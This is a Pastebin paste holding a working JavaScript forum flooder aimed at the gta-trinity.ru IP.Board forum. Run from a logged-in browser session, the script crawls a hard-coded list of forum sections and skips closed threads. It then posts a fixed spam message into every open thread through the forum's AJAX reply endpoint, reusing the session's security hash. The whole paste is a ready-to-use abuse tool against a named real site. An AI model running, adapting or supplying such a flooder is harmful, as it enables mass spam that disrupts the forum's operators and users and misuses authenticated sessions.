SHARE
TWEET

trinity flooder

a guest Nov 6th, 2018 210 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var MSG_TEXT = "Текст сообщения для флуда";
  2.  
  3. var ids =   ("136,68,90,89,166,86,249,12,233,13,15,16,115,140,118,117,112,167,88,252,24,234,25,27,28,50,153,149,139,138,168,141,253,19,235,20,21,22,142," +
  4.         "215,216,217,218,183,187,256,192,236,195,198,201,204,219,221,222,223,184,189,258,193,237,196,199,202,205,227,228,229,247,185,191,259,194,238,197,200,203,206," +
  5.         "276,277,278,279,268,280,281,270,271,272,273,274,275,294,293,292,291,283,295,296,285,286,287,288,289,290,310,309,308,307,298,311,312,300,301,302,303,304,305").split(",");
  6.  
  7. var b=document.createElement("DIV");
  8. document.body.insertBefore(b,document.body.firstChild);
  9. b.style = "border: 1px solid #fff; margin: 10px; padding: 5px; height: 500px; width: 50%; overflow-y: scroll; font-family: Century Gothic; font-size: 12px";
  10. b.innerHTML = "Ajax Flooder by @astynk";
  11.  
  12. var MSG_SENT = 0;
  13.  
  14. var CFI = 0;
  15.  
  16. function log_update(text) {
  17.     b.innerHTML = text.replace(/\{(.+)\}(.+?)\{\/\1\}/g, "<span style='color: #$1'>$2</span>") + "<br>" + b.innerHTML;
  18. }
  19.  
  20. Flood(ids[CFI]);
  21.  
  22. function Flood(fid, callback) {
  23.     if (!fid) return log_update("{f00}No more forum IDs.{/f00}");
  24.     (function FloodPage(i) {
  25.         log_update("Получение данных со страницы {007fff}gta-trinity.ru/forum/index.php?/forum/" + fid + "/page-" + i + "{/007fff}...");
  26.         var xhr = new XMLHttpRequest();
  27.         xhr.open("GET", "http://gta-trinity.ru/forum/index.php?/forum/" + fid + "/page-" + i);
  28.         xhr.send(null);
  29.         xhr.onreadystatechange = function () {
  30.             if (xhr.readyState !== 4)
  31.                 return;
  32.             log_update( "Данные со страницы {007fff}" + xhr.responseText.match(/<title>(.+) - Trinity GTA/i)[1] + "{/007fff} {09590b}[" + i + "]{/09590b} получены. " +
  33.                     "{09590b}(CFI " + CFI + "/" + ids.length + ", Page " + i + "/" + xhr.responseText.match(/Страница \d+ из (\d+)/)[1] + "){/09590b}");
  34.             var div = document.createElement("DIV");
  35.             div.innerHTML = xhr.responseText;
  36.             var lnk = div.getElementsByClassName("topic_title");
  37.             var Links = [];
  38.             var tot = 0;
  39.             for (var j = 0; j < lnk.length; j++)
  40.                 if (!IsThreadClosed(lnk[j]))
  41.                     Links.push( lnk[j].href.match(/topic\/(\d+)/)[1] );
  42.             if (!Links.length) {
  43.                 log_update("{ff0000}Не найдено открытых тем.{/ff0000} Переход к следующему разделу...");
  44.                 return Flood(ids[++CFI]);
  45.             }
  46.             log_update("Найдено {007fff}" + Links.length + "{/007fff} открытых тем. Отправка сообщений в эти темы: {007fff}<span class='coco'>0</span>" + "/" + Links.length + "{/007fff}");
  47.             for (var j = 0; j < Links.length; j++)
  48.                 SendMessage(Links[j], fid, MSG_TEXT, function () {
  49.                     MSG_SENT++;
  50.                     tot++;
  51.                     document.querySelector(".coco").innerHTML++;
  52.                     if (i == +xhr.responseText.match(/Страница \d+ из (\d+)/)[1] && tot == Links.length - 1) {
  53.                         log_update("Сообщения во все открытые темы раздела отправлены. {09590b}MSG_SENT " + MSG_SENT +"{/09590b}");
  54.                         Flood(ids[++CFI]);
  55.                         return;
  56.                     }
  57.                     if (tot == Links.length - 1)
  58.                         FloodPage(i + 1);
  59.                 });
  60.         };
  61.     })(1);
  62. }
  63.  
  64. function SendMessage(threadID, forumID, text, callback) {
  65.     var xhr = new XMLHttpRequest();
  66.     xhr.open("POST", ipb.vars['base_url'] + 'app=forums&module=ajax&section=topics&do=reply&t=' +threadID + '&f=' + forumID, true);
  67.     xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  68.     xhr.setRequestHeader("X-Prototype-Version", "1.7.1");
  69.     xhr.setRequestHeader("Accept", "text/javascript, text/html, application/xml, text/xml, */*");
  70.     xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
  71.     xhr.send("md5check=" + ipb.vars['secure_hash'] + "&Post=" + text + "&isRte=0&noSmilies=0");
  72.     xhr.onreadystatechange = function () {
  73.         if (xhr.readyState != 4) return;
  74.         callback && callback();
  75.     };
  76. }
  77.  
  78. function IsThreadClosed(a) {
  79.     return a.parentNode.parentNode.previousSibling.previousSibling.innerHTML.indexOf("closed.png") !== -1
  80. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top